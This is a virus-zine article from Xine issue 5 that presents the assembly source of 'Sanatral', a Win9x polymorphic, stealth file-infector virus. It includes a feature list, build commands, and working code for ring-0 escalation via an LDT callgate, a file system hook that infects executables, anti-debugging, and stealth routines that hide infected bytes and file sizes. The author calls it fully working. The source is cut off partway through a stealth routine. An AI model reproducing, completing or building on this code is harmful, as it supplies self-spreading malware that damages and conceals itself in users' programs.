Copy Link
Add to Bookmark
Report
Xine - issue #5 - Phile 207
Ú-----------------------------¿
| Xine - issue #5 - Phile 207 |
À-----------------------------Ù
comment $
-------------------------------------------------------------------
Vital/IKX proudly presents:
The
ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜ ÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜ
Û ÜÜÜÜÛ Û ÜÜÜ Û Û ßÛÛ Û Û ÜÜÜ Û ÛÜÜ ÜÜÛ Û ÜÜÜ Û Û ÜÜÜ Û Û Û
ÛÜÜÜÜ Û Û ÜÜÜ Û Û ÛÜß Û Û ÜÜÜ Û Û Û Û Ü ÜÜÛ Û ÜÜÜ Û Û ÛÜÜÜÜ
ÛÜÜÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÛßÛÜÛ ÛÜÛ ÛÜÛ ÛÜÛ ÛÜÛÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÜÜÜÜÛ
virus, v 1.0, for Win9x
-------------------------------------------------------------------
Disclaimer:
This document was written for Xine#5, as an educational paper for
people interrested in the study of Atrificial Life. You should not
compile this virus unless it's your intention to test it in a
controlled environment, and not without knowing that neither I nor
the IKX takes any responsebilities for any loss of data, economical
losses, or any other inconveinces caused by assembly, linking, and
/or execution of the binary file produced. The virus is fully
working, without any bugs that I know of. It is not designed to do
any intentional damage to files or data exept from spreading, but
ofcourse, I will not give any warranties, as this "article",
"document", (or call it what you want) is intended for reading only,
for educational purposes, Gotit? Furthermore, if you did not
understand and accepted EVERYTHING stated above, you should
immidiatly delete this file (if online read: leave this page).
I (the author) does not, in any way, support the illegal spreading
of computer viruses, while I believe it's a human right to explore
the opportunities wich lies in Artificial Life and Intelligence.
Residency and stealth:
Ring-0 (driver mode) by LDT callgate tech, Full stealth on IFSMgr,
the virus hooks OPEN (modify open mode), CLOSE (infect), READ
(stealthn file areas modified by the virus), SEEK (manipulate seek
to point within original file size), WRITE (get FSD for file write),
FIND (show original file size), ENUMHANDLE (return original file
size), and FILETIME (store filetime FSD for filetime stealth), a
total of 8 file operations.
Polymorphism:
Virus is polymorphic by 3 layers (2 layers on main virus, 1 on
CODE sections' 2nd decryptor and address calculations). The first
decryptor mutates it's code and decryption algorithm (ofcourse
according to the encryption algo.), some armouring (SEH mainly)
is put after 1st decryption, on entrance to main decryptors, wich
consists of a simple (variable algorithm) layer covering main
decryptor and encrypted main body (locked by randomly between 16
and 255 loops). Largest constant scanstring is currently 3 bytes.
Misc stuff:
Anti-heuristic infection: EntryPoint RVA points to virus "header"
in CODE section, polymorphic virus body is appended to the end.
Anti-monitoring as all file access is performed using direct FSD
access, Anti-debugging, Anti-SoftIce.. infects DLL/SCR/OCX/CPL/EXE
/ all PE files.
tasm32 /ml /v /m3 Sanatral.asm
tlink32 /Tpe Sanatral.obj,Sanatral.exe
-------------------------------------------------------------------
$
DEBUG equ 1 ; if 1, do only infect files marked with MZxx in MZ header
AVOIDDLL equ 0 ; 0 to infect libraries (DLL), 1 to avoid them
CallGateSelector equ 8
; ehh.. this repeated warning is mostly for myself =) I hate infecting my own stuff uncontrolled :)
IF DEBUG
ELSE
%out WARNING: THE VIRUS IS ASSEMBLED OUTSIDE DEBUG MODE!!
%out Executing the produced "Sanatral.exe" will infect your
%out system! Be very careful with this file..
ENDIF
; Vxd services
VMM_Hook_V86_Int_Chain equ 00010041h
VMM_Get_V86_Int_Vector equ 00010042h
VMM_Set_V86_Int_Vector equ 00010043h
VMM_Get_PM_Int_Vector equ 00010044h
VMM_Set_PM_Int_Vector equ 00010045h
IOS_SendCommand equ 00100004h
VMM_Get_DDB equ 00010146h
IFSMGR_GetHeap equ 0040000Dh
IFSMGR_RetHeap equ 0040000Eh
IFSMGR_InstallFileSystemApiHook equ 00400067h
IFSMGR_Ring0_FileIO equ 00400032h
VMM_Get_Cur_VM_Handle equ 00010001h
VMM_PageReserve equ 0001011Dh
VMM_PageCommit equ 0001011Eh
VMM_Get_System_Time equ 0001003Fh
VMM_Get_Cur_VM_Handle equ 00010001h
SHELL_SYSMODAL_Message equ 00170003h
IOR STRUC
IOR_next dd ?
IOR_func dw ?
IOR_status dw ?
IOR_flags dd ?
IOR_callback dd ?
IOR_start_addr_LOW dd ?
IOR_start_addr_HI dd ?
IOR_xfer_count dd ?
IOR_buffer_ptr dd ?
IOR_private_client dd ?
IOR_private_IOS dd ?
IOR_private_port dd ?
IOR_ioctl_drive dw ?
IOR_ioctl_function dw ?
IOR_ioctl_control_param dd ?
IOR_ioctl_buffer_ptr dd ?
IOR_ioctl_client_params dd ?
IOR_ioctl_return dd ?
IOR_req_req_handle dd ?
IOR_req_vol_handle dd ?
IOR_sgd_lin_phys dd ?
IOR_num_sgds db ?
IOR_vol_designtr db ?
IOR_ios_private_1 dw ?
IOR_reserved_2 dq ?
IOR ENDS
ADVAPI_MEMORY struc
ddRegOpenKeyA dd ?
ddRegSetValueExA dd ?
ddRegCloseKey dd ?
ddRegCreateKeyA dd ?
ADVAPI_MEMORY ends
STEALTH_PE_DATA struc
sdOffsetOfLastSectionHeader dd ?
sdOffsetOfCodeSectionHeader dd ?
sdEntryPointRVA dd ?
sdImageSize dd ?
sdCodeSize dd ?
sdCheckSum dd ?
sdFileTime dd ?
STEALTH_PE_DATA ends
STEALTH_TABLE struc
OriginalLastSection db 40 dup (?)
OriginalCodeSection db 40 dup (?)
PEData STEALTH_PE_DATA <?>
STEALTH_TABLE ends
stealth_table_size equ size STEALTH_TABLE
PORTABLE_EXECUTABLE_HEADER struc
; Image File Header
PE_Signature dd ?
IFH_CPUType dw ?
IFH_NumberOfSections dw ?
IFH_TimeDateStamp dd ?
IFH_PointerToSymbolTable dd ?
IFH_NumberOfSymbols dd ?
IFH_SizeOfOptionalHeader dw ?
IFH_Characteristics dw ?
; NT Optional Header
NTOH_Magic dw ?
NTOH_MajorLinkerVersion db ?
NTOH_MinorLinkerVersion db ?
NTOH_SizeOfCode dd ?
NTOH_SizeOfInitializedData dd ?
NTOH_SizeOfUninitializedData dd ?
NTOH_EntryPointRVA dd ?
NTOH_BaseOfCode dd ?
NTOH_BaseOfData dd ?
NTOH_ImageBase dd ?
NTOH_SectionAlignment dd ?
NTOH_FileAlignment dd ?
NTOH_MajorOperatingSystemVersion dw ?
NTOH_MinorOperatingSystemVersion dw ?
NTOH_MajorImageVersion dw ?
NTOH_MinorImageVersion dw ?
NTOH_MajorSubsystemVersion dw ?
NTOH_MinorSubsystemVersion dw ?
NTOH_Reserved1 dd ?
NTOH_SizeOfImage dd ?
NTOH_SizeOfHeaders dd ?
NTOH_CheckSum dd ?
NTOH_Subsystem dw ?
NTOH_DllCharacteristics dw ?
NTOH_SizeOfStackReserve dd ?
NTOH_SizeOfStackCommit dd ?
NTOH_SizeOfHeapReserve dd ?
NTOH_SizeOfHeapCommit dd ?
NTOH_LoaderFlags dd ?
NTOH_NumberOfRvaAndSizes dd ?
PORTABLE_EXECUTABLE_HEADER ends
IMAGE_FILE_SYSTEM EQU 1000h ; System File
IMAGE_FILE_DLL EQU 2000h ; File is a DLL
L equ <large>
REG_SZ equ 1
REG_DWORD equ 4
HKEY_CLASSES_ROOT equ 80000000h
KEY_ALL_ACCESS equ 0000003Fh
HKEY_LOCAL_MACHINE equ 80000002h
PROCESS_ALL_ACCESS equ 001F0FFFh
MB_OK EQU 00H
MB_OKCANCEL EQU 01H
MB_ABORTRETRYIGNORE EQU 02H
MB_YESNOCANCEL EQU 03H
MB_YESNO EQU 04H
MB_RETRYCANCEL EQU 05H
MB_ICONHAND EQU 10H
MB_ICONEXCLAMATION EQU 30H
MB_ICONASTERISK EQU 40H
MB_DEFBUTTON1 EQU 00H
MB_DEFBUTTON2 EQU 100H
MB_DEFBUTTON3 EQU 200H
MB_APPLMODAL EQU 00H
MB_SYSTEMMODAL EQU 1000H
MB_NOFOCUS EQU 8000H
MB_ASAP EQU 80000000H
MB_NOWINDOW EQU 40000000H
MB_HANGSYS EQU 20000000H
VxdCall macro service_id
int 20h
dd service_id
endm
VxdJmp macro service_id
int 20h
dd service_id+8000h
endm
TRUE equ 1
FALSE equ 0
; parameters for SHELL_SYSMODAL_Message
MB_ABORTRETRYIGNORE equ 00000002h
MB_SYSTEMMODAL EQU 00001000h
;* Win32 Date Time structure
; This structure defines the new Win32 format structure for returning the
; date and time
FILETIME struc
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
;* Win32 File Info By Handle Structure
; This structure defines the contents of the result buffer on a
; Win32 FileInfoByHandle. These calls are accessed by the new
; LFN find apis
BY_HANDLE_FILE_INFORMATION struc ; bhfi
bhfi_dwFileAttributes dd ?
bhfi_ftCreationTime FILETIME <?>
bhfi_ftLastAccessTime FILETIME <?>
bhfi_ftLastWriteTime FILETIME <?>
bhfi_dwVolumeSerialNumber dd ?
bhfi_nFileSizeHigh dd ?
bhfi_nFileSizeLow dd ?
bhfi_nNumberOfLinks dd ?
bhfi_nFileIndexHigh dd ?
bhfi_nFileIndexLow dd ?
BY_HANDLE_FILE_INFORMATION ends
;* Values for ir_flags for HM_FILETIMES:
GET_MODIFY_DATETIME equ 0 ; get last modification date/time
SET_MODIFY_DATETIME equ 1 ; set last modification date/time
GET_LAST_ACCESS_DATETIME equ 4 ; get last access date/time
SET_LAST_ACCESS_DATETIME equ 5 ; set last access date/time
GET_CREATION_DATETIME equ 6 ; get creation date/time
SET_CREATION_DATETIME equ 7 ; set creation date/time
;* Win32 Find Structure
; This structure defines the contents of the result buffer on a
; Win32 FindFirst / FindNext. These calls are accessed by the new
; LFN find apis
WIN32_FIND_DATA struc
dwFileAttributes dd ?
ftCreationTime FILETIME <?>
ftLastAccessTime FILETIME <?>
ftLastWriteTime FILETIME <?>
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName dw 260 dup (?) ; includes NUL
cAlternateFileName dw 14 dup (?) ; includes NUL
WIN32_FIND_DATA ends
IMAGE_SCN_MEM_EXECUTE equ 20000000h
IMAGE_SCN_MEM_READ equ 40000000h
IMAGE_SCN_MEM_WRITE equ 80000000h
IMAGE_SCN_CNT_INITIALIZED_DATA equ 00000040h
ACCESS_MODE_MASK equ 00007h ; Mask for access mode bits
ACCESS_READONLY equ 00000h ; open for read-only access
ACCESS_WRITEONLY equ 00001h ; open for write-only access
ACCESS_READWRITE equ 00002h ; open for read and write access
ACCESS_EXECUTE equ 00003h ; open for execute access
ACTION_MASK equ 0ffh ; Open Actions Mask
ACTION_OPENEXISTING equ 001h ; open an existing file
ACTION_REPLACEEXISTING equ 002h ; open existing file and set length
ACTION_CREATENEW equ 010h ; create a new file, fail if exists
ACTION_OPENALWAYS equ 011h ; open file, create if does not exist
ACTION_CREATEALWAYS equ 012h ; create a new file, even if it exists
ioreq struc
ir_length dd ? ; length of user buffer
ir_flags db ? ; misc. status flags
ir_user db ? ; user ID for this request
ir_sfn dw ? ; System File Number of file handle
ir_pid dd ? ; process ID of requesting task
ir_ppath dd ? ; unicode pathname
ir_aux1 dd ? ; secondary user data buffer
ir_data dd ? ; ptr to user data buffer
ir_options dw ? ; request handling options
ir_error dw ? ; error code (0 if OK)
ir_rh dd ? ; resource handle
ir_fh dd ? ; file (or find) handle
ir_pos dd ? ; file position for request
ir_aux2 dd ? ; misc. extra API parameters
ir_aux3 dd ? ; misc. extra API parameters
ir_pev dd ? ; ptr to IFSMgr event for async requests
ir_fsd db 16 dup (?) ; Provider work space
ioreq ends
ioreqsize equ size ioreq
hndlfunc struc
hf_read dd ? ; file read handler function
hf_write dd ? ; file write handler function
hf_misc dd ? ; ptr to misc. function vector
hndlfunc ends
fhandle struc
fh_hf hndlfunc ?
fh_fh dd ?
fh_psr dd ?
fh_pSFT dd ?
fh_position dd ?
fh_devflags dw ?
fh_hflag db ?
fh_type db ?
fh_ref_count dw ?
fh_mode dw ?
fh_hlockinfo dd ?
fh_prev dd ?
fh_next dd ?
fh_sfn dw ?
fh_mmsfn dw ?
fh_pid dd ?
fh_ntid dd ?
fh_fhFlags dw ?
fh_InCloseCnt dw ?
fhandle ends
hndlmisc struc
hm_version dw ? ; IFS version #
hm_revision db ? ; IFS interface revision #
hm_size db ? ; # of entries in table
hm_func dd ?
hndlmisc ends
IFSMgr_hook_parameters struc
FSDFnAddr dd ?
FunctionNum dd ?
Drive dd ?
ResourceFlags dd ?
CodePage dd ?
ptrToIOREQ dd ?
IFSMgr_hook_parameters ends
IFSFN_READ equ 0 ; read a file
IFSFN_WRITE equ 1 ; write a file
IFSFN_FINDNEXT equ 2 ; LFN handle based Find Next
IFSFN_SEEK equ 10 ; Seek file handle
IFSFN_CLOSE equ 11 ; close handle
IFSFN_FILETIMES equ 14 ; get/set file modification time
IFSFN_HANDLEINFO equ 16 ; get/set file information
IFSFN_ENUMHANDLE equ 17 ; enum file handle information
IFSFN_FINDCLOSE equ 18 ; LFN find close
IFSFN_DELETE equ 31 ; file delete
IFSFN_FILEATTRIB equ 33 ; DOS file attribute manipulation
IFSFN_OPEN equ 36 ; open file
IFSFN_RENAME equ 37 ; rename path
IFSFN_FINDOPEN equ 44 ; open an LFN file search
IFSFN_SEARCH equ 38
;* Values for ir_flags for HM_HANDLEINFO call:
HINFO_GET equ 0 ; retrieve current buffering info
HINFO_SETALL equ 1 ; set info (all parms)
HINFO_SETCHARTIME equ 2 ; set handle buffer timeout
HINFO_SETCHARCOUNT equ 3 ; set handle max buffer count
;* Values for ir_flags for HM_ENUMHANDLE call:
ENUMH_GETFILEINFO equ 0 ; get fileinfo by handle
ENUMH_GETFILENAME equ 1 ; get filename associated with handle
ENUMH_GETFINDINFO equ 2 ; get info for resuming
ENUMH_RESUMEFIND equ 3 ; resume find operation
ENUMH_RESYNCFILEDIR equ 4 ; resync dir entry info for file
;* Values for ir_flags for HM_SEEK:
FILE_BEGIN equ 0 ; absolute posn from file beginning
FILE_END equ 2 ; signed posn from file end
R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file
R0_OPENCREATFILE equ 0D500h ; Open/Create a file
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_CLOSEFILE equ 0D700h ; Close a file
R0_GETFILESIZE equ 0D800h ; Get size of a file
R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation
R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation
R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation
ObjectHeader struc
ObjectName db 8 dup(?); null-padded string identifying section
PhysicalSize dd ? ; physical size
RVA dd ? ; RVA to be loaded to
VirtualSize dd ? ; virtual size (physical size rounded up to object alignement)
PhysicalOffset dd ? ; offset in file of data
Reserved1 dd ?
Reserved2 dd ?
Reserved3 dd ?
Flags dd ? ; section flags
ObjectHeader ends
IMAGE_SCN_MEM_EXECUTE equ 20000000h
IMAGE_SCN_MEM_READ equ 40000000h
IMAGE_SCN_MEM_WRITE equ 80000000h
IMAGE_SCN_CNT_INITIALIZED_DATA equ 00000040h
pfad struc
pfad_edi dd ?
pfad_esi dd ?
pfad_ebp dd ?
pfad_esp dd ?
pfad_ebx dd ?
pfad_edx dd ?
pfad_ecx dd ?
pfad_eax dd ?
pfad_eflags dd ?
pfad_ret dd ?
pfad ends
pfadsize equ size pfad
RECT STRUC
x dw ?
y dw ?
Width dw ?
Height dw ?
RECT ends
SYSTEMTIME struc
wYear dw ?
wMonth dw ?
wDayOfWeek dw ?
wDay dw ?
wHour dw ?
wMinute dw ?
wSecond dw ?
wMilliseconds dw ?
SYSTEMTIME ends
; some stuff lifted from VMM.INC
Exception_Handler_Struc STRUC
EH_Reserved DD ?
EH_Start_EIP DD ?
EH_End_EIP DD ?
EH_Handler DD ?
Exception_Handler_Struc ENDS
; PR_PRIVATE Or PR_SYSTEM
PR_PRIVATE EQU 80000400H
PR_SHARED EQU 80060000H
PR_SYSTEM EQU 80080000H
PR_FIXED EQU 00000008H
PR_4MEG EQU 00000001H
PR_STATIC EQU 00000010H
PD_ZEROINIT EQU 00000001H
PD_NOINIT EQU 00000002H
PD_FIXEDZERO EQU 00000003H
PD_FIXED EQU 00000004H
PC_FIXED EQU 00000008H
PC_LOCKED EQU 00000080H
PC_LOCKEDIFDP EQU 00000100H
PC_WRITEABLE EQU 00020000H
PC_USER EQU 00040000H
PC_INCR EQU 40000000H
PC_PRESENT EQU 80000000H
PC_STATIC EQU 20000000H
PC_DIRTY EQU 08000000H
PC_CACHEDIS EQU 00100000H
PC_CACHEWT EQU 00080000H
PC_PAGEFLUSH EQU 00008000H
PCC_ZEROINIT EQU 00000001H
PCC_NOLIN EQU 10000000H
;
;
;---[Sanatral.asm]-----------------------------------------------
;
; include Sanatral.inc
vsize equ (data - vstart)
mem_vsize equ (((end_data - vstart)/1000h)+1)*1000h
mem_vsize_in_pages equ mem_vsize shr 12
virus_aligned equ ((vsize/2048)+1)*2048
file_align equ 3FFh ; infect files aligned to 1Kb
TOPCRYPT equ 1
;
.586p
.model flat
.code
start: lea eax,FakeEntryPoint ; fake a return-EP
push eax ; for first generation..
pushad
xor ebp,ebp ; program mode = VX 8)
jmp install
FakeEntryPoint: ret
;********************************************
;********************************************
;* Virus 1st decryptors and loader, located *
;* in host's CODE section *
;********************************************
;********************************************
SANATRAL segment dword use32 public 'SANATRAL'
vstart:encrypted:loader:
;/* Mutated decryptor, starts with 3 byte constant, wich is this virus'
; longest constant scanstring */
push eax ; store room for return address to host, our 1st decryptor key...
pushad ; store registers
;/* Get delta a nifty way */
push 01000000h
org $ - 4
@stackregz: pop esi
push esi
ret
@dummy: nop
@ifix1: mov eax,esp
call eax ; returns @addfix address in ESI, 2 bytes
@addfix: add esi,(TopCrypt-@addfix)
@xchgfix: xchg esi,esi ; for mutation.. (on registers)
@ifix2: add esp,4 ; 3 bytes, fix stack
;/* Decryptor */
@ifix3: mov ebx,01000000h
TopCryptKey equ dword ptr [$ - 4]
nop ; padding for mutation (push, pop)
@ifix4: mov ecx,(TopCryptSize-3) ; 5 bytes
@ifix5: mov edi,esi ; push esi, pop edi
@ifix6: lodsd
nop
nop
nop
nop
dec_algo: xor eax,ebx
rol eax,1
add eax,ebx
@ifix7: sub esi,3
@ifix8: stosd
nop
loop @ifix5
;/*** Encrypted area of virus loader ***/
; Will get delta host, host return address, and decrypt the main virus' top layer
; and main decryptor.
TopCrypt: jmp set_delta
get_delta: pop ebp ; Get delta
sub ebp,offset delta
pushad
lea eax,[ebp+SEH_gnaff]
push eax
jmp Muehehe
;begone suckerz..
SEH_gnaff: mov esp,[esp+8] ; gets the ESP when SEH was set
pop dword ptr fs:[0]
add esp,4
popad
lea eax,[ebp+vstart]
mov [esp+32],eax
mov eax,01000000h
HostPtr equ dword ptr [$ - 4]
sub dword ptr [esp+32],eax ; stack above PUSHAD holds return address to host
mov eax,01000000h
DiffPtr equ dword ptr [$ - 4] ; delta difference between loader and body
add ebp,eax
;/- Decrypt main virus' top layer and main decryptor -/
lea esi,[ebp+encrypted] ; ESI pts to start of encrypted code..
pushad
mov ebx,91A03F18h
MainTopLayerKey equ dword ptr [$ - 4]
mov ecx,(lsize-3)
add esi,(lsize-3)-1 ; starting at end decrypting forwards
dec5: mov edi,esi
lodsd
simple_dec: db 6 dup (90h)
stosd
sub esi,3+2 ; -3 as we're decryptin' dwords byte by byte, -2 as we're going backwards in code
loop dec5
popad
;/- Jmp to main decryptor using SEH -/
pushad ; save regs 8)
lea eax,[ebp+poly_decrypt]
push eax
Muehehe: mov ecx,fs:[20h] ; muehehe DebugContext :))
push dword ptr fs:[ecx] ; store old SEH
mov fs:[ecx],esp ; set a new
mov [ecx],ecx ; Crash program -> Jump
set_delta: call get_delta
delta:
TopCryptSize equ $ - TopCrypt
patchsize equ $ - vstart
szIDString db "[Sanatral.",vsize/1000 mod 10 +"0"
db vsize/100 mod 10 +"0"
db vsize/10 mod 10 +"0"
db vsize/1 mod 10 +"0"," by ThermoBit/IkX,y2K]", 0
;/* Header encryption (for the CODE section loader) 32-bit simple */
TopCryptEnc: lea esi,[ebp+loader]
lea edi,[ebp+LoaderBuffer]
push edi
mov ecx,patchsize
rep movsb
pop esi
add esi,(TopCrypt-loader)+((TopCryptSize-3)-1)
mov ebx,[ebp+TopCryptKey]
mov ecx,(TopCryptSize-3)
TopCryptEncLoop:mov edi,esi
lodsd
enc_algo: sub eax,ebx
ror eax,1
xor eax,ebx
sub esi,3+2
stosd
loop TopCryptEncLoop
ret
;/* 32-bit simple top-layer encryption */
SimpleCrypt: mov ecx,(lsize-3)
mov ebx,[ebp+MainTopLayerKey]
enc5: mov edi,esi
lodsd
simple_enc: db 6 dup (90h)
stosd
sub esi,3
loop enc5
ret
;*********************************************************
;* *
;* <Win9x> driver memory installation *
;*********************************************************
install: xor ecx,ecx
sldt cx
jcxz NT
and cl, not (111b)
jmp @@@4
NT: popad
ret
;/* Switch application mode to Vxd driver using LDT */
@@@3: xchg esi,[esp]
sgdt [esp-2]
pop edx ; EDX = GDT base address
add edx,ecx
mov al, [edx+4]
mov ah, [edx+7]
shl eax,10h
mov ax, [edx+2]
lea edi,[eax+CallGateSelector]
cld
mov ax,si
stosw
mov eax,0EC000000h + 28h
stosd
shld eax,esi,10h
stosw
popad
db 09Ah ; call Ring0_CS:ESI
dd ?
dw CallGateSelector+111b
ret ; return to host
@@@4: call @@@3
pushfd
pushad
mov eax,202h
VxdCall VMM_Get_DDB
test ecx,ecx ; Check for SoftIce
jnz back_ring3 ; don't load under softice
mov eax,dr1
cmp eax,'grrr'
jz back_ring3 ; assume already resident
call get_r0_delta
get_r0_delta: pop ebp
sub ebp,offset get_r0_delta
push mem_vsize ; size of memory block needed
VxdCall IFSMGR_GetHeap ; allocate our TSR memory
pop ecx ; ECX = nr. of bytes to copy (fix stack)
;/* Copy virus into windoze memory */
mov ecx,vsize
lea esi,[ebp+vstart] ; source: start of virus code
mov edi,eax ; destination (IFSMgr heap memory)
rep movsb ; copy virus to allocated memory
;/* Install our FileSystem API hook */
mov edi,(IFSHook-vstart) ; edi holds difference from base addr. to hook addr.
xadd eax,edi ; EAX = pointer to our hook, EDI = pointer to our memory
push eax ; address of our hook
VxdCall IFSMGR_InstallFileSystemApiHook ; install our API hook, EAX = next hook handler
pop edx ; fix stack (damn vxds)
mov edx,[eax] ; get address from entry
xchg [edi+(NextIFSHook-vstart)],edx ; store next hook address in our hook handler's code
; mov eax,13h
; lea esi,[ebp+Disk_Access_Hook]
; VxdCall VMM_Hook_V86_Int_Chain
;/* Mark us resident and return */
mov eax,'grrr'
mov dr1,eax
back_ring3: popad
popfd
retf
;********************************************************
;* *
;* Win9x file system API hook. calls the apropiate *
;* handlers for interresting calls *
;********************************************************
IFSHook: push 12345678h
NextIFSHook equ $ - 4
pushad
mov eax,dr0
cmp eax,'BUSY'
jz next_no_topchn
call hook_delta
hook_delta: pop ebp
sub ebp,offset hook_delta ;
lea esi,[esp+40]
mov edx,[esi.FSDFnAddr]
mov edi,[esi.ptrToIOREQ]
movzx eax,[edi.ir_error]
or eax,eax ; check for errors
jnz next_no_topchn
mov eax,'BUSY'
mov dr0,eax
mov eax,[esi.FunctionNum]
;/* Intercept following functionz */
cmp al,IFSFN_OPEN ; modify open mode (r/w)
jz FileOpen
cmp al,IFSFN_CLOSE ; infect file (while still open)
jz FileClose
cmp al,IFSFN_READ ; stealthn virus data
jz FileRead
cmp al,IFSFN_WRITE ; get FSD function for file writing..
jz FileWrite
cmp al,IFSFN_SEEK ; manipulate seek so end of file will be original end
jz SeekFile
cmp al,IFSFN_FINDOPEN ; show original filesize
jz FindFile
cmp al,IFSFN_FINDNEXT ; show original filesize
jz FindFile
cmp al,IFSFN_ENUMHANDLE ; return original filesize
jz EnumHandle
cmp al,IFSFN_FILETIMES ; store FileTimes FSD for filetime stealth
jz FileTime
next_ifs_hook: xor eax,eax
mov dr0,eax ; mark virus inactive in debug register
next_no_topchn: popad ; restore registers
ret ; jmp to next handler in the IFS chain, we're out!
exit_ifs_hook: popad ; Return hook without passing control
pop eax
xor eax,eax
ret
next_hooker: pushad ; Calls the next IFSMgr API hooker in chain
push [esi.ptrToIOREQ]
push [esi.CodePage]
push [esi.ResourceFlags]
push [esi.Drive]
push [esi.FunctionNum]
push [esi.FSDFnAddr]
call dword ptr [ebp+NextIFSHook]
add esp, 6*4
popad
ret
;*********************************************************
;* *
;* Make sure no attempts to read after original end of *
;* file succeeds, stealthn sensetive data... *
;*********************************************************
FileRead: mov [ebp+fsd_read],edx
mov edx,[ebp+fsd_seek]
test edx,edx
jz next_ifs_hook
xchg ebx,esi
lea esi,[ebp+seek_ioreq]
pushad
xchg esi,edi ; ESI points to ioreq structure, EDI to our buffer
mov ecx,size ioreq
rep movsb
popad
mov [esi.ir_flags],FILE_END
mov [esi.ir_pos],0
push esi
call edx ; seek to end of file
pop esi
mov cx,[esi.ir_error] ; check for errors
test cx,cx
jnz next_ifs_hook
mov eax,[esi.ir_pos]
cmp eax,vsize
jbe next_ifs_hook
sub eax,vsize
test eax,file_align ; aligned right?
jnz next_ifs_hook
mov [ebp+FileSize],eax
lea edx,[ebp+FileBuffer]
call checkfile
jc next_ifs_hook
mov ecx,[edi.ir_pos] ; ecx = position reading from
cmp ecx,eax ; above original filesize?
jbe ptr_ok ; ...
xor eax,eax
mov [edi.ir_length],eax
jmp xx_ifs_ret
ptr_ok: mov ecx,[edi.ir_length]
add ecx,[edi.ir_pos]
cmp ecx,eax
jbe size_ok
sub eax,[edi.ir_pos]
mov [edi.ir_length],eax
;/* Read is now within the original file, so manipulate data returned */
size_ok: xchg ebx,esi
push [edi.ir_pos]
push [edi.ir_data]
pop [ebp+st_data]
pop [ebp+st_pos]
call next_hooker
mov cx,[edi.ir_error] ; check for errors
test cx,cx
jnz xx_ifs_ret
;********************************************************
;* *
;* Rebuild the original PE header of the infected file *
;* into a designated buffer, for stealth purposes.. *
;********************************************************
pushad
mov byte ptr [edx+15],0 ; mark header uninfected
mov ecx,edx
movzx eax,word ptr [edx.IFH_SizeOfOptionalHeader] ; NT header size
add eax,24 ; Image file header
add ecx,eax ; ECX points to first Object header in memory
movzx eax,word ptr [edx.IFH_NumberOfSections]
imul eax,eax,40
add eax,ecx
mov ecx,eax
sub eax,edx ; EAX = size of PE header including all object headers
add eax,stealth_table_size + 40 ; (plus the required blank entry before stealth table)
mov [ebp+PE_SIZE],eax
;/* get offset in file of virus loader */
add ecx,80
mov eax,[ecx.PhysicalOffset]
add eax,[ecx.PhysicalSize]
mov [ebp+LoaderOffs],eax
add ecx,40 ; ECX pts to end of CODE section header backup
;/* Restore infected section headers */
pushad
mov edi,[ecx] ; EDI = PE RVA of last section header
add edi,edx
mov esi,ecx
mov ecx,40
sub esi,ecx
sub esi,ecx
rep movsb
popad
push dword ptr [ecx+8]
pop dword ptr [ebp+EntryPointRVA]
pushad
mov edi,[ecx+4]
add edi,edx
mov esi,ecx
mov ecx,40
sub esi,ecx
rep movsb
popad
;/* Restore the original PE header */
push [ecx.sdEntryPointRVA]
pop [edx.NTOH_EntryPointRVA] ; restore original EntryPoint RVA
push [ecx.sdImageSize]
pop [edx.NTOH_SizeOfImage] ; restore original imagesize
push [ecx.sdCodeSize]
pop [edx.NTOH_SizeOfCode] ; restore original codesize
push [ecx.sdCheckSum]
pop [edx.NTOH_CheckSum] ; restore original checksum
;/* Erase virus stealth table */
pushad
sub ecx,80
xchg edi,ecx
xor al,al
mov ecx,stealth_table_size ; size of stealth table
rep stosb
popad
popad
;********************************************************
;* *
;* Stealth on reading from the infected file *
;********************************************************
mov ecx,[edi.ir_length]
test ecx,ecx
jz xx_ifs_ret
mov esi,[ebp+st_pos]
mov ebx,[ebp+st_data]
dec ecx
HideByte: ; ESI pts to current byte
;/* Reading inside PE header? */
mov eax,[ebp+PE_RVA]
cmp esi,eax
jb NextByte ; byte is below PE header, so ignore it
add eax,[ebp+PE_SIZE]
cmp esi,eax
jae check_loader ; byte is after PE header, check the virus' loader in CODE section
;/* Stealthn one byte PE header */
mov eax,esi
sub eax,[ebp+PE_RVA] ; EAX = position of byte in PE header
lea edx,[ebp+FileBuffer]
mov al,[edx+eax]
mov [ebx],al
jmp NextByte
;/* Stealth virus loader in CODE section on attempt to read */
check_loader: mov eax,[ebp+LoaderOffs]
cmp esi,eax
jb NextByte
add eax,patchsize
cmp esi,eax
jae NextByte
xor al,al
mov [ebx],al
;/* Check next byte in reading range */
NextByte: inc esi
inc ebx
loop HideByte
;/* Leave control to next hooker in ifsmgr chain */
jmp xx_ifs_ret
popad_ifs_hook: popad
jmp next_ifs_hook
;*********************************************************
;* *
;* SeekFile: Stealthn virus size on seek in file *
;*********************************************************
SeekFile: mov [ebp+fsd_seek],edx
xchg ebx,esi ; store ESI in EBX
lea esi,[ebp+seek_ioreq]
pushad
xchg esi,edi ; ESI points to ioreq structure, EDI to our buffer
mov ecx,size ioreq
rep movsb
popad
mov [esi.ir_flags],FILE_END
mov [esi.ir_pos],0
push esi
call edx ; seek to end of file
pop esi
mov cx,[esi.ir_error] ; check for errors
test cx,cx
jnz next_ifs_hook
mov eax,[esi.ir_pos]
cmp eax,vsize
jbe next_ifs_hook
sub eax,vsize
test eax,file_align
jnz next_ifs_hook
;/* File is padded as if it was infected. open it and verify it's an infected PE executable */
lea edx,[ebp+FileBuffer]
call checkfile
jc next_ifs_hook
xchg ebx,esi ; restore ESI, as we're calling next_hooker
call next_hooker
mov cx,[edi.ir_error] ; check for errors
test cx,cx
jnz xx_ifs_ret
mov ecx,[edi.ir_pos]
cmp ecx,eax
jbe xx_ifs_ret
sub ecx,eax
